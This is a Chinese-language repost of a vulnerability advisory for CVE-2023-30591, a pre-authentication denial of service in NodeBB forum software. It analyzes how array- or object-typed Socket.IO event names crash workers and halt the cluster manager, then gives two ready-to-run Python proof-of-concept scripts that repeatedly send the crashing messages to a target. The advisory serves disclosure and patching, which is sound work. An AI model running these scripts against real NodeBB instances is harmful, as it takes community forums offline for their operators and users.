(CVE-2023-30591) NodeBB 预身份验证拒绝服务

admin 2024年4月28日13:15:42评论6 views字数 5350阅读17分50秒阅读模式

(CVE-2023-30591) NodeBB 预身份验证拒绝服务

严重性:高 - 非特权攻击者能够导致 NodeBB 崩溃并永久退出

受影响的版本< v2.8.11(提交82f0efb)

测试版本v2.8.9(提交fb100ac)

CVE 描述:

NodeBB <= v2.8.10 中的拒绝服务允许未经身份验证的攻击者在调用eventName.startsWith()或时触发崩溃eventName.toString(),同时通过精心设计的分别包含事件名称的数组或对象类型的 Socket.IO 消息处理 Socket.IO 消息。

产品概述:

NodeBB 是一个基于 Node.js 构建的开源社区论坛平台,并添加了 Redis、MongoDB 或 PostgreSQL 数据库。该平台的特点之一是利用Socket.IO进行即时交互和实时通知。

漏洞摘要:

由于对 Socket.IO 消息中提供的意外负载的解析和处理不当,未经身份验证的攻击者能够发送恶意 Socket.IO 消息,导致 NodeBB 工作实例崩溃。尽管 NodeBB 的集群管理器尝试生成新的替代工作器,但在短时间内多次使 NodeBB 工作器崩溃后,可能会导致 NodeBB 集群管理器终止。

利用该漏洞,可以通过使用数组作为 Socket.IO 事件名称,在调用 时触发崩溃eventName.startsWith(),或者使用对象作为 Socket.IO 事件名称,并设置属性toString,在调用时触发崩溃eventName.toString()。

漏洞详细信息:

NodeBB 使用Socket.IO库来实现客户端和服务器之间基于事件的双向通信。Socket.IO 通常使用 WebSocket 进行通信,但支持 HTTP 长轮询作为后备。

NodeBB 工作线程崩溃:

该漏洞可以在实现的 Socket.IO 消息处理程序中找到/src/socket.io/index.js:

function onConnection(socket) {    ...  socket.onAny((event, ...args) => {    const payload = { data: [event].concat(args) };    const als = require('../als');    als.run({ uid: socket.uid }, onMessage, socket, payload); // [1]  });    ...}async function onMessage(socket, payload) {  ...  const eventName = payload.data[0]; // [2]  ...  const parts = eventName.toString().split('.'); // [3]  const namespace = parts[0];  const methodToCall = parts.reduce((prev, cur) => { // [4]    if (prev !== null && prev[cur] && (!prev.hasOwnProperty || prev.hasOwnProperty(cur))) {      return prev[cur];    }    return null;  }, Namespaces);    if (!methodToCall || typeof methodToCall !== 'function') { // [5]    ...    return callback({ message: `[[error:invalid-event, ${escapedName}]]` }); // [6]  }  if (!eventName.startsWith('admin.') && ratelimit.isFlooding(socket)) { // [7]    winston.warn(`[socket.io] Too many emits! Disconnecting uid : ${socket.uid}. Events : ${socket.previousEvents}`);    return socket.disconnect();  }  ...}

在[1]处,使用包含名称和接收到的参数的对象onMessage()调用回调函数。请注意,没有对 执行类型验证或强制转换,并且假定 是类型。payloadeventargseventNameeventNameString

topics.loadMoreTags在[2]处,从对象中提取事件名称(例如) payload。

在[3]中,事件名称在将其分成多个部分之前被转换为其字符串表示形式。随后,Namespaces遍历该对象以获取要调用的事件处理程序的引用并将其分配给methodToCall[4]。

在[5]处,如果methodToCall不是函数,则在[6]处将返回错误。

在[7]处,eventName.startsWith('admin.')被调用。但是,如果eventName不是String类型,则按原样抛出eventName.startsWith('admin.')a 。TypeErroreventName.startsWithundefined

有趣的是,由于以下原因,在 Socket.IO 消息中提供事件名称时可以使用任何数据类型:
  • Socket.IO 用于JSON.parse()解析 Socket.IO 消息中用户提供的事件名称。但是,Socket.IO 不对事件名称执行任何验证,并假定用户提供的事件名称是类型String。
  • SocketSocket.IO 中的对象有效地扩展自 Node.js 的EventEmitter类,因此 Socket.IO 套接字对象的大多数公开的 API 函数都依赖于EventEmitter.
  • Node.js 的文档EventEmitter建议事件名称应该是 ofString或Symboltype,但不会对事件名称执行类型验证检查。
  • 当存储事件侦听器(例如 via emitter.on())或查找事件侦听器(例如 via emitter.emit())时,作为参数提供的事件名称将隐式转换为String类型。
  • 但是,作为参数提供的原始事件名称将传递给事件侦听器,而无需进行类型转换。
  • 这会导致 Socket.IO 消息中用户提供的事件名称(可能是非字符串值)直接传递给事件侦听器。
为了避免在 [6] 处提前终止并防止 [5] 处的条件返回true,同时仍导致TypeError在 [7] 处抛出 a,可以使用具有单个元素的数组来提供事件名称:
> const eventName = ["topics.loadMoreTags"];> ["topics.loadMoreTags"].toString()"topics.loadMoreTags"> const parts = eventName.toString().split('.'); // [3]["topics", "loadMoreTags"]> eventName.startsWith // at [7]undefined
eventName.toString()类似地,通过提供具有定义的属性的对象,在调用 [3] 时也可能会提前引发未捕获的异常toString:
> const eventName = {"toString": 1};> eventName.toString()// TypeError
NodeBB 集群管理器崩溃:
在 中/loader.js,集群管理器尝试重新启动异常退出的工作进程:
Loader.addWorkerEvents = function (worker) { worker.on('exit', (code, signal) => { if (code !== 0) { if (Loader.timesStarted < numProcs * 3) { Loader.timesStarted += 1; if (Loader.crashTimer) { clearTimeout(Loader.crashTimer); } Loader.crashTimer = setTimeout(() => { Loader.timesStarted = 0; }, 10000); } else { console.log(`${numProcs * 3} restarts in 10 seconds, most likely an error on startup. Halting.`); process.exit(); // [8] } } console.log(`[cluster] Child Process (${worker.pid}) has exited (code: ${code}, signal: ${signal})`); if (!(worker.suicide || code === 0)) { console.log('[cluster] Spinning up another process...'); forkWorker(worker.index, worker.isPrimary); } }); ...}
最后,在[8]中,如果太多工作线程在硬编码的 10 秒阈值内异常退出,集群管理器就会得出结论,发生了启动错误,并将自行终止,从而杀死所有 NodeBB 工作线程。
由于攻击者可以随意导致 NodeBB 工作线程突然退出,这使得攻击者能够完全终止 NodeBB,从而导致持续的拒绝服务。
利用条件:
没有发现额外的限制。未经身份验证的攻击者预计能够可靠地执行此漏洞利用场景。
复制步骤:
概念验证 #1:通过 Socket.IO 事件名称的数组类型进行 DoS
1.使用以下命令安装 Python 的 Socket.IO 客户端pip install "python-socketio[client]":
2.将以下概念验证利用脚本保存为dos-via-array.py:
#!/usr/bin/env python3import socketioimport sysfrom time import sleepdelay = 0.5 # in secondsdef dos(target): sio = socketio.Client() sio.connect(f'{target}/socket.io') sio.emit(["topics.loadMoreTags"], {}) # reference any valid event handler within Namespacesdef main(target): while True: try: dos(target) except KeyboardInterrupt: sys.exit(0) except: pass sleep(delay)if __name__ == '__main__': target = 'http://localhost:4567' if len(sys.argv) < 1 else sys.argv[1] main(target)
3.确保 NodeBB 已使用 启动./nodebb start。
4.使用 运行漏洞利用脚本python3 dos-via-array.py http://<target-nodebb>:<port>。
5.观察几秒钟后,NodeBB 终止,并在输出日志中观察到以下消息:
3 restarts in 10 seconds, most likely an error on startup. Halting.
概念验证 #2:通过 Socket.IO 事件名称的对象类型进行 DoS
1.使用以下命令安装 Python 的 Socket.IO 客户端:pip install "python-socketio[client]"
2.将以下概念验证利用脚本保存为dos-via-object.py
#!/usr/bin/env python3import socketioimport sysfrom time import sleepdelay = 0.5 # in secondsdef dos(target): sio = socketio.Client() sio.connect(f'{target}/socket.io') sio.emit({"toString":0}, {}) # any object setting toString propertydef main(target): while True: try: dos(target) except KeyboardInterrupt: sys.exit(0) except: pass sleep(delay)if __name__ == '__main__': target = 'http://localhost:4567' if len(sys.argv) < 1 else sys.argv[1] main(target)
3.确保 NodeBB 已使用 启动./nodebb start。
4.使用 运行漏洞利用脚本python3 dos-via-object.py http://<target-nodebb>:<port>。
5.观察几秒钟后,NodeBB 终止,并在输出日志中观察到以下消息:
3 restarts in 10 seconds, most likely an error on startup. Halting.
时间线:
2023-03-27 供应商披露
2023-03-27 初步供应商联系
2023-03-28 供应商补丁版本 (v2.8.10) 包含部分修复
2023-04-11 供应商补丁发布(v2.8.11)彻底修复漏洞
2023-09-29 公开发布

原文始发于微信公众号(Ots安全):(CVE-2023-30591) NodeBB 预身份验证拒绝服务

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月28日13:15:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   (CVE-2023-30591) NodeBB 预身份验证拒绝服务https://cn-sec.com/archives/2078699.html

发表评论

匿名网友 填写信息